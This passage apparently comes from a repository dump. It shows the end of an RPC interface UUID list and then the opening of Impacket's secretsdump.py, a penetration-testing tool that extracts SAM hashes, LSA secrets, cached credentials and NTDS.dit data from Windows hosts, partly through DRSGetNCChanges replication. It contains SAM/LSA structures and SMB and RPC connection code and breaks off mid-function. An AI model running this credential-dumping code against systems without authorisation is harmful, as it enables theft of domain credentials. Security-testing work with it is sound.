v3.0\n8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0\n8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0\n8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0\n8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0\n8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0\n8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1\n906b0ce0-c70b-1067-b317-00dd010662da v1.0\n91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0\n92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0\n93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0\n93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0\n9556dc99-828c-11cf-a37e-00aa003240c7 v0.0\n95958c94-a424-4055-b62b-b7f4d5c47770 v1.0\n975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0\n98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0\n99e64010-b032-11d0-97a4-00c04fd6551d v3.0\n99fcfec4-5260-101b-bbcb-00aa0021347a v0.0\n9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0\n9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0\n9e8ee830-4459-11ce-979b-00aa005ffebe v2.0\na002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0\na00c021c-2be2-11d2-b678-0000f87a8f8e v1.0\na0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0\na2d47257-12f7-4beb-8981-0ebfa935c407 v1.0\na398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0\na3b749b1-e3d0-4967-a521-124055d1c37d v1.0\na4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0\na4f1db00-ca47-1067-b31e-00dd010662da v1.0\na4f1db00-ca47-1067-b31f-00dd010662da v0.0\na4f1db00-ca47-1067-b31f-00dd010662da v0.81\naa177641-fc9b-41bd-80ff-f964a701596f v1.0\naa411582-9bdf-48fb-b42b-faa1eee33949 v1.0\naae9ac90-ce13-11cf-919e-08002be23c64 v1.0\nae33069b-a2a8-46ee-a235-ddfd339be281 v1.0\nafa8bd80-7d8a-11c9-bef4-08002b102989 v1.0\nb196b284-bab4-101a-b69c-00aa00341d07 v0.0\nb196b286-bab4-101a-b69c-00aa00341d07 v0.0\nb58aa02e-2884-4e97-8176-4ee06d794184 v1.0\nb7b31df9-d515-11d3-a11c-00105a1f515a v0.0\nb97db8b2-4c63-11cf-bff6-08002be23f2f v2.0\nb9e79e60-3d52-11ce-aaa1-00006901293f v0.2\nbfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0\nc13d3372-cc20-4449-9b23-8cc8271b3885 v1.0\nc33b9f46-2088-4dbc-97e3-6125f127661c v1.0\nc681d488-d850-11d0-8c52-00c04fd90f7e v1.0\nc6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0\nc8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0\nc9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0\nc9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0\nce1334a5-41dd-40ea-881d-64326b23effe v0.2\nd049b186-814f-11d1-9a3c-00c04fc9b232 v1.1\nd2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0\nd335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5\nd3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0\nd4781cd6-e5d3-44df-ad94-930efe48a887 v0.0\nd6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0\nd6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0\nd7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0\nd95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0\ndd490425-5325-4565-b774-7e27d6c09c24 v1.0\ne1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0\ne248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0\ne33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0\ne3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0\ne60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0\ne67ab081-9844-3521-9d32-834f038001c0 v1.0\ne76ea56d-453f-11cf-bfec-08002be23f2f v2.0\nea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0\neb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0\nec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0\necec0d70-a603-11d0-96b1-00a0c91ece30 v1.0\necec0d70-a603-11d0-96b1-00a0c91ece30 v2.0\neff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0\nf309ad18-d86a-11d0-a075-00c04fb68820 v0.0\nf50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0\nf5cc59b4-4264-101a-8c59-08002b2f8426 v1.1\nf5cc5a18-4264-101a-8c59-08002b2f8426 v56.0\nf5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0\nf6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0\nf930c514-1215-11d3-99a5-00a0c9b61b04 v1.0\nfc13257d-5567-4dea-898d-c6f9c48415a0 v1.0\nfd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0\nfdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0\nffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0\n\"\"\".splitlines() if line)\n\nuuid_database = set((uuidstr.upper(), ver) for (uuidstr, ver) in\n                    uuid_database)\n\n# add the ones from ndrutils\nk = list(KNOWN_UUIDS.keys())[0]\n\ndef fix_ndr_uuid(ndruuid):\n    assert len(ndruuid) == 18\n    uuid = ndruuid[:16]\n    (maj, min) = struct.unpack('BB', ndruuid[16:])\n    return uuid + struct.pack('<HH', maj, min)\n\nuuid_database.update(uuid.bin_to_uuidtup(fix_ndr_uuid(bin)) for bin in\n                     list(KNOWN_UUIDS.keys()))"
  },
  {
    "path": "impacket/examples/secretsdump.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Performs various techniques to dump hashes from the\n#   remote machine without executing any agent there.\n#   For SAM and LSA Secrets (including cached creds)\n#   we try to read as much as we can from the registry\n#   and then we save the hives in the target system\n#   (%SYSTEMROOT%\\\\Temp dir) and read the rest of the\n#   data from there.\n#   For NTDS.dit we either:\n#       a. Get the domain users list and get its hashes\n#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()\n#          call, replicating just the attributes we need.\n#       b. Extract NTDS.dit via vssadmin executed  with the\n#          smbexec approach.\n#          It's copied on the temp dir and parsed remotely.\n#\n#   The script initiates the services required for its working\n#   if they are not available (e.g. Remote Registry, even if it is\n#   disabled). After the work is done, things are restored to the\n#   original state.\n#\n# Author:\n#  Alberto Solino (@agsolino)\n#\n# References:\n#   Most of the work done by these guys. I just put all\n#   the pieces together, plus some extra magic.\n#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync\n#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html\n#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html\n#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html\n#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13\n#   - https://code.google.com/p/creddump/\n#   - https://lab.mediaservice.net/code/cachedump.rb\n#   - https://insecurety.net/?p=768\n#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm\n#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf\n#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport codecs\nimport json\nimport hashlib\nimport logging\nimport ntpath\nimport os\nimport re\nimport random\nimport string\nimport time\nfrom binascii import unhexlify, hexlify\nfrom collections import OrderedDict\nfrom datetime import datetime, timedelta, timezone\nfrom struct import unpack, pack\nfrom six import b, PY2\n\nfrom impacket import LOG\nfrom impacket import system_errors\nfrom impacket import winregistry, ntlm\nfrom impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError\nfrom impacket.ldap.ldapasn1 import SearchResultEntry\nfrom impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi\nfrom impacket.dcerpc.v5.dtypes import NULL, SID\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \\\n    VARIANT, VARENUM, DISPATCH_METHOD\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \\\n    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \\\n    IRemUnknown2, INTERFACE\nfrom impacket.ese import ESENT_DB, getUnixTime\nfrom impacket.dpapi import DPAPI_SYSTEM\nfrom impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ\nfrom impacket.nt_errors import STATUS_MORE_ENTRIES\nfrom impacket.structure import Structure\nfrom impacket.structure import hexdump\nfrom impacket.uuid import string_to_bin\nfrom impacket.crypto import transformKey\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \\\n    seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP\nfrom impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes\nfrom impacket.krb5.crypto import string_to_key, Key, _enctype_table\nfrom impacket.krb5.kerberosv5 import sendReceive\nfrom impacket.krb5.types import KerberosTime, Principal, Ticket\ntry:\n    from Cryptodome.Cipher import DES, ARC4, AES\n    from Cryptodome.Hash import HMAC, MD4, MD5\nexcept ImportError:\n    LOG.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    LOG.critical(\"See https://pypi.org/project/pycryptodomex/\")\ntry:\n    import pyasn1\n    from pyasn1.type.univ import noValue, SequenceOf, Integer\n    from pyasn1.codec.der import encoder, decoder\nexcept ImportError:\n    LOG.critical('This module needs pyasn1 installed')\n\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\n# Structures\n# Taken from https://insecurety.net/?p=768\nclass SAM_KEY_DATA(Structure):\n    structure = (\n        ('Revision','<L=0'),\n        ('Length','<L=0'),\n        ('Salt','16s=b\"\"'),\n        ('Key','16s=b\"\"'),\n        ('CheckSum','16s=b\"\"'),\n        ('Reserved','<Q=0'),\n    )\n\n# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/fortra/impacket/issues/326\n# Merci! Makes it way easier than parsing manually.\nclass SAM_HASH(Structure):\n    structure = (\n        ('PekID','<H=0'),\n        ('Revision','<H=0'),\n        ('Hash','16s=b\"\"'),\n    )\n\nclass SAM_KEY_DATA_AES(Structure):\n    structure = (\n        ('Revision','<L=0'),\n        ('Length','<L=0'),\n        ('CheckSumLen','<L=0'),\n        ('DataLen','<L=0'),\n        ('Salt','16s=b\"\"'),\n        ('Data',':'),\n    )\n\nclass SAM_HASH_AES(Structure):\n    structure = (\n        ('PekID','<H=0'),\n        ('Revision','<H=0'),\n        ('DataOffset','<L=0'),\n        ('Salt','16s=b\"\"'),\n        ('Hash',':'),\n    )\n\nclass DOMAIN_ACCOUNT_F(Structure):\n    structure = (\n        ('Revision','<L=0'),\n        ('Unknown','<L=0'),\n        ('CreationTime','<Q=0'),\n        ('DomainModifiedCount','<Q=0'),\n        ('MaxPasswordAge','<Q=0'),\n        ('MinPasswordAge','<Q=0'),\n        ('ForceLogoff','<Q=0'),\n        ('LockoutDuration','<q=0'),\n        ('LockoutObservationWindow','<Q=0'),\n        ('ModifiedCountAtLastPromotion','<Q=0'),\n        ('NextRid','<L=0'),\n        ('PasswordProperties','<L=0'),\n        ('MinPasswordLength','<H=0'),\n        ('PasswordHistoryLength','<H=0'),\n        ('LockoutThreshold','<H=0'),\n        ('Unknown2','<H=0'),\n        ('ServerState','<L=0'),\n        ('ServerRole','<H=0'),\n        ('UasCompatibilityRequired','<H=0'),\n        ('Unknown3','<Q=0'),\n        ('Key0',':'),\n# Commenting this, not needed and not present on Windows 2000 SP0\n#        ('Key1',':', SAM_KEY_DATA),\n#        ('Unknown4','<L=0'),\n    )\n\nclass DOMAIN_ACCOUNT_V(Structure):\n    structure = (\n        ('Randomstuffforfun','<L=0'),\n        ('SystemSid', ':', lambda data: data[-12:]),\n        ('Data',':'),\n    )\n\nclass USER_ACCOUNT_C(Structure):\n    structure = (\n        ('GroupNumber','<L=0'),\n        ('Unknown','436s=b\"\"'),\n        ('GroupMembers',':'),\n    )\n\nclass USER_ACCOUNT_F(Structure):\n    structure = (\n        ('Unknown','8s=b\"\"'),\n        ('LastLogonTimestamp','8s=b\"\"'),\n        ('Unknown2','8s=b\"\"'),\n        ('PasswordLastSetTimeStamp','8s=b\"\"'),\n        ('AccountExpiresTimeStamp','8s=b\"\"'),\n        ('LastIncorrectPasswordTimestamp','8s=b\"\"'),\n        ('UserNumber','<L=0'),\n        ('Unknown3','<L=0'),\n        ('GroupedData','H=0'),\n        ('Unknown4','<H=0'),\n        ('CountryCode','<H=0'),\n        ('Unknown5','<H=0'),\n        ('InvalidPWDCount','<H=0'),\n        ('NumberOfLogons','<H=0'),\n        ('Unknown6','<L=0'),\n        ('Unknown7','8s=b\"\"')\n    )\n\n# Great help from here https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm\nclass USER_ACCOUNT_V(Structure):\n    structure = (\n        ('Unknown','12s=b\"\"'),\n        ('NameOffset','<L=0'),\n        ('NameLength','<L=0'),\n        ('Unknown2','<L=0'),\n        ('FullNameOffset','<L=0'),\n        ('FullNameLength','<L=0'),\n        ('Unknown3','<L=0'),\n        ('CommentOffset','<L=0'),\n        ('CommentLength','<L=0'),\n        ('Unknown3','<L=0'),\n        ('UserCommentOffset','<L=0'),\n        ('UserCommentLength','<L=0'),\n        ('Unknown4','<L=0'),\n        ('Unknown5','12s=b\"\"'),\n        ('HomeDirOffset','<L=0'),\n        ('HomeDirLength','<L=0'),\n        ('Unknown6','<L=0'),\n        ('HomeDirConnectOffset','<L=0'),\n        ('HomeDirConnectLength','<L=0'),\n        ('Unknown7','<L=0'),\n        ('ScriptPathOffset','<L=0'),\n        ('ScriptPathLength','<L=0'),\n        ('Unknown8','<L=0'),\n        ('ProfilePathOffset','<L=0'),\n        ('ProfilePathLength','<L=0'),\n        ('Unknown9','<L=0'),\n        ('WorkstationsOffset','<L=0'),\n        ('WorkstationsLength','<L=0'),\n        ('Unknown10','<L=0'),\n        ('HoursAllowedOffset','<L=0'),\n        ('HoursAllowedLength','<L=0'),\n        ('Unknown11','<L=0'),\n        ('Unknown12','12s=b\"\"'),\n        ('LMHashOffset','<L=0'),\n        ('LMHashLength','<L=0'),\n        ('Unknown13','<L=0'),\n        ('NTHashOffset','<L=0'),\n        ('NTHashLength','<L=0'),\n        ('Unknown14','<L=0'),\n        ('Unknown15','24s=b\"\"'),\n        ('Data',':=b\"\"'),\n    )\n\nclass BUILTIN_GROUP_C(Structure):\n    structure = (\n        ('Unknown1', '<16s=b\"\"'),  # First 16 bytes of unknown data\n        ('NameOffset', '<L=0'),    # Offset for the group name\n        ('NameLength', '<L=0'),    # Length of the group name\n        ('Unknown2', '<L=0'),      # Padding or unused data\n        ('CommentOffset', '<L=0'), # Offset for the group comment\n        ('CommentLength', '<L=0'), # Length of the group comment\n        ('Unknown3', '<L=0'),      # Padding or unused data\n        ('UsersOffset', '<L=0'),   # Offset for users\n        ('Unknown4', '<L=0'),      # Padding or unused data\n        ('UserCount', '<L=0'),     # Number of users\n        ('Data', ':'),             # Remaining data\n    )\n\nclass NL_RECORD(Structure):\n    structure = (\n        ('UserLength','<H=0'),\n        ('DomainNameLength','<H=0'),\n        ('EffectiveNameLength','<H=0'),\n        ('FullNameLength','<H=0'),\n# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265\n        ('LogonScriptName','<H=0'),\n        ('ProfilePathLength','<H=0'),\n        ('HomeDirectoryLength','<H=0'),\n        ('HomeDirectoryDriveLength','<H=0'),\n        ('UserId','<L=0'),\n        ('PrimaryGroupId','<L=0'),\n        ('GroupCount','<L=0'),\n        ('logonDomainNameLength','<H=0'),\n        ('unk0','<H=0'),\n        ('LastWrite','<Q=0'),\n        ('Revision','<L=0'),\n        ('SidCount','<L=0'),\n        ('Flags','<L=0'),\n        ('unk1','<L=0'),\n        ('LogonPackageLength','<L=0'),\n        ('DnsDomainNameLength','<H=0'),\n        ('UPN','<H=0'),\n       # ('MetaData','52s=\"\"'),\n       # ('FullDomainLength','<H=0'),\n       # ('Length2','<H=0'),\n        ('IV','16s=b\"\"'),\n        ('CH','16s=b\"\"'),\n        ('EncryptedData',':'),\n    )\n\n\nclass SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):\n    structure = (\n        ('Value','6s'),\n    )\n\nclass SAMR_RPC_SID(Structure):\n    structure = (\n        ('Revision','<B'),\n        ('SubAuthorityCount','<B'),\n        ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),\n        ('SubLen','_-SubAuthority','self[\"SubAuthorityCount\"]*4'),\n        ('SubAuthority',':'),\n    )\n\n    def formatCanonical(self):\n       ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))\n       for i in range(self['SubAuthorityCount']):\n           ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])\n       return ans\n\nclass LSA_SECRET_BLOB(Structure):\n    structure = (\n        ('Length','<L=0'),\n        ('Unknown','12s=b\"\"'),\n        ('_Secret','_-Secret','self[\"Length\"]'),\n        ('Secret',':'),\n        ('Remaining',':'),\n    )\n\nclass LSA_SECRET(Structure):\n    structure = (\n        ('Version','<L=0'),\n        ('EncKeyID','16s=b\"\"'),\n        ('EncAlgorithm','<L=0'),\n        ('Flags','<L=0'),\n        ('EncryptedData',':'),\n    )\n\nclass LSA_SECRET_XP(Structure):\n    structure = (\n        ('Length','<L=0'),\n        ('Version','<L=0'),\n        ('_Secret','_-Secret', 'self[\"Length\"]'),\n        ('Secret', ':'),\n    )\n\n\n# Helper to create files for exporting\ndef openFile(fileName, mode='w+', openFileFunc=None):\n    if openFileFunc is not None:\n        return openFileFunc(fileName, mode)\n    else:\n        return codecs.open(fileName, mode, encoding='utf-8')\n\n\n# Classes\nclass RemoteFile:\n    def __init__(self, smbConnection, fileName):\n        self.__smbConnection = smbConnection\n        self.__fileName = fileName\n        self.__tid = self.__smbConnection.connectTree('ADMIN$')\n        self.__fid = None\n        self.__currentOffset = 0\n\n    def open(self):\n        tries = 0\n        while True:\n            try:\n                self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,\n                                                   shareMode=FILE_SHARE_READ)\n            except Exception as e:\n                if str(e).find('STATUS_SHARING_VIOLATION') >=0:\n                    if tries >= 3:\n                        raise e\n                    # Stuff didn't finish yet.. wait more\n                    time.sleep(5)\n                    tries += 1\n                    pass\n                else:\n                    raise e\n            else:\n                break\n\n    def seek(self, offset, whence):\n        # Implement whence, for now it's always from the beginning of the file\n        if whence == 0:\n            self.__currentOffset = offset\n\n    def read(self, bytesToRead):\n        if bytesToRead > 0:\n            data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)\n            self.__currentOffset += len(data)\n            return data\n        return b''\n\n    def close(self):\n        if self.__fid is not None:\n            self.__smbConnection.closeFile(self.__tid, self.__fid)\n            self.__smbConnection.deleteFile('ADMIN$', self.__fileName)\n            self.__fid = None\n\n    def tell(self):\n        return self.__currentOffset\n\n    def __str__(self):\n        return \"\\\\\\\\%s\\\\ADMIN$\\\\%s\" % (self.__smbConnection.getRemoteHost(), self.__fileName)\n\nclass RemoteOperations:\n    def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None):\n        self.__smbConnection = smbConnection\n        if self.__smbConnection is not None:\n            self.__smbConnection.setTimeout(5*60)\n        self.__ldapConnection = ldapConnection\n        self.__serviceName = 'RemoteRegistry'\n        self.__stringBindingWinReg = r'ncacn_np:445[\\pipe\\winreg]'\n        self.__rrp = None\n        self.__regHandle = None\n\n        self.__stringBindingSamr = r'ncacn_np:445[\\pipe\\samr]'\n        self.__samr = None\n        self.__domainHandle = None\n        self.__domainName = None\n        self.__domainSid = None\n\n        self.__drsr = None\n        self.__hDrs = None\n        self.__NtdsDsaObjectGuid = None\n        self.__ppartialAttrSet = None\n        self.__prefixTable = []\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n\n        self.__bootKey = b''\n        self.__disabled = False\n        self.__shouldStop = False\n        self.__started = False\n\n        self.__stringBindingSvcCtl = r'ncacn_np:445[\\pipe\\svcctl]'\n        self.__scmr = None\n        self.__tmpServiceName = None\n        self.__serviceDeleted = False\n\n        self.__batchFile = '%TEMP%\\\\execute.bat'\n        self.__shell = '%COMSPEC% /Q /c '\n        self.__output = '%SYSTEMROOT%\\\\Temp\\\\__output'\n        self.__answerTMP = b''\n\n        self.__execMethod = 'smbexec'\n\n    def setExecMethod(self, method):\n        self.__execMethod = method\n\n    def __connectSvcCtl(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__scmr = rpc.get_dce_rpc()\n        self.__scmr.connect()\n        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n\n    def __connectWinReg(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__rrp = rpc.get_dce_rpc()\n        self.__rrp.connect()\n        self.__rrp.bind(rrp.MSRPC_UUID_RRP)\n\n    def getRRP(self):\n        return self.__rrp\n\n    def connectSamr(self, domain):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__samr = rpc.get_dce_rpc()\n        self.__samr.connect()\n        self.__samr.bind(samr.MSRPC_UUID_SAMR)\n        resp = samr.hSamrConnect(self.__samr)\n        serverHandle = resp['ServerHandle']\n\n        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)\n        self.__domainSid = resp['DomainId'].formatCanonical()\n\n        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])\n        self.__domainHandle = resp['DomainHandle']\n        self.__domainName = domain\n\n    def __connectDrds(self):\n        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,\n                                     protocol='ncacn_ip_tcp')\n        rpc = transport.DCERPCTransportFactory(stringBinding)\n        rpc.setRemoteHost(self.__smbConnection.getRemoteHost())\n        rpc.setRemoteName(self.__smbConnection.getRemoteName())\n        if hasattr(rpc, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpc.set_credentials(*(self.__smbConnection.getCredentials()))\n            rpc.set_kerberos(self.__doKerberos, self.__kdcHost)\n        self.__drsr = rpc.get_dce_rpc()\n        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        if self.__doKerberos:\n            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n        self.__drsr.connect()\n        # Uncomment these lines if you want to play some tricks\n        # This will make the dump way slower tho.\n        #self.__drsr.bind(samr.MSRPC_UUID_SAMR)\n        #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)\n        #self.__drsr.set_max_fragment_size(1)\n        # And Comment this line\n        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)\n\n        if self.__domainName is None:\n            # Get domain name from credentials cached\n            self.__domainName = rpc.get_credentials()[2]\n\n        request = drsuapi.DRSBind()\n        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID\n        drs = drsuapi.DRS_EXTENSIONS_INT()\n        drs['cb'] = len(drs) #- 4\n        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \\\n                         drsuapi.DRS_EXT_STRONG_ENCRYPTION | drsuapi.DRS_EXT_NONDOMAIN_NCS\n        drs['SiteObjGuid'] = drsuapi.NULLGUID\n        drs['Pid'] = 0\n        drs['dwReplEpoch'] = 0\n        drs['dwFlagsExt'] = 0\n        drs['ConfigObjGUID'] = drsuapi.NULLGUID\n        # I'm uber potential (c) Ben\n        drs['dwExtCaps'] = 0xffffffff\n        request['pextClient']['cb'] = len(drs)\n        request['pextClient']['rgb'] = list(drs.getData())\n        resp = self.__drsr.request(request)\n        if LOG.level == logging.DEBUG:\n            LOG.debug('DRSBind() answer')\n            resp.dump()\n\n        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of\n        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.\n        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()\n\n        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.\n        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\\x00' * (\n        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])\n        drsExtensionsInt.fromString(ppextServer)\n\n        if drsExtensionsInt['dwReplEpoch'] != 0:\n            # Different epoch, we have to call DRSBind again\n            if LOG.level == logging.DEBUG:\n                LOG.debug(\"DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again\" % drsExtensionsInt[\n                    'dwReplEpoch'])\n            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']\n            request['pextClient']['cb'] = len(drs)\n            request['pextClient']['rgb'] = list(drs.getData())\n            resp = self.__drsr.request(request)\n\n        self.__hDrs = resp['phDrs']\n\n        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges\n        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)\n        if LOG.level == logging.DEBUG:\n            LOG.debug('DRSDomainControllerInfo() answer')\n            resp.dump()\n\n        if resp['pmsgOut']['V2']['cItems'] > 0:\n            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']\n        else:\n            LOG.error(\"Couldn't get DC info for domain %s\" % self.__domainName)\n            raise Exception('Fatal, aborting')\n\n    def getSamr(self):\n        return self.__samr\n\n    def getDrsr(self):\n        return self.__drsr\n\n    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,\n                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):\n        if self.__drsr is None:\n            self.__connectDrds()\n\n        LOG.debug('Calling DRSCrackNames for %s ' % name)\n        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))\n        return resp\n\n    # Wrapper for calling _DRSGetNCChanges with a GUID\n    def DRSGetNCChangesGuid(self, userGuid):\n        dsName = drsuapi.DSNAME()\n        dsName['SidLen'] = 0\n        dsName['Guid'] = string_to_bin(userGuid[1:-1])\n        dsName['Sid'] = ''\n        dsName['NameLen'] = 0\n        dsName['StringName'] = ('\\x00')\n        dsName['structLen'] = len(dsName.getData())\n\n        return self._DRSGetNCChanges(userGuid, dsName)\n\n    # Wrapper for calling _DRSGetNCChanges with a SID\n    def DRSGetNCChangesSid(self, userSid):\n\n        # Convert string SID to 2.4.2.2 packet SID\n        tsid = SID()\n        tsid.fromCanonical(userSid)\n        packetSid  = pack(\"<B\", tsid.fields['Revision'])\n        packetSid += pack(\"<B\", tsid.fields['SubAuthorityCount'])\n        packetSid += tsid.fields['IdentifierAuthority'].fields['Value']\n        packetSid += tsid.fields['SubAuthority']\n\n        dsName = drsuapi.DSNAME()\n        dsName['SidLen'] = len(packetSid)\n        dsName['Guid'] = 0\n        dsName['Sid'] = packetSid\n        dsName['NameLen'] = 0\n        dsName['StringName'] = ('\\x00')\n        dsName['structLen'] = len(dsName.getData())\n\n        return self._DRSGetNCChanges(userSid, dsName)\n\n    def _DRSGetNCChanges(self, userEntry, dsName):\n        if self.__drsr is None:\n            self.__connectDrds()\n\n        LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)\n        request = drsuapi.DRSGetNCChanges()\n        request['hDrs'] = self.__hDrs\n        request['dwInVersion'] = 8\n\n        request['pmsgIn']['tag'] = 8\n        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid\n        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid\n\n        request['pmsgIn']['V8']['pNC'] = dsName\n\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0\n\n        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL\n\n        request['pmsgIn']['V8']['ulFlags'] =  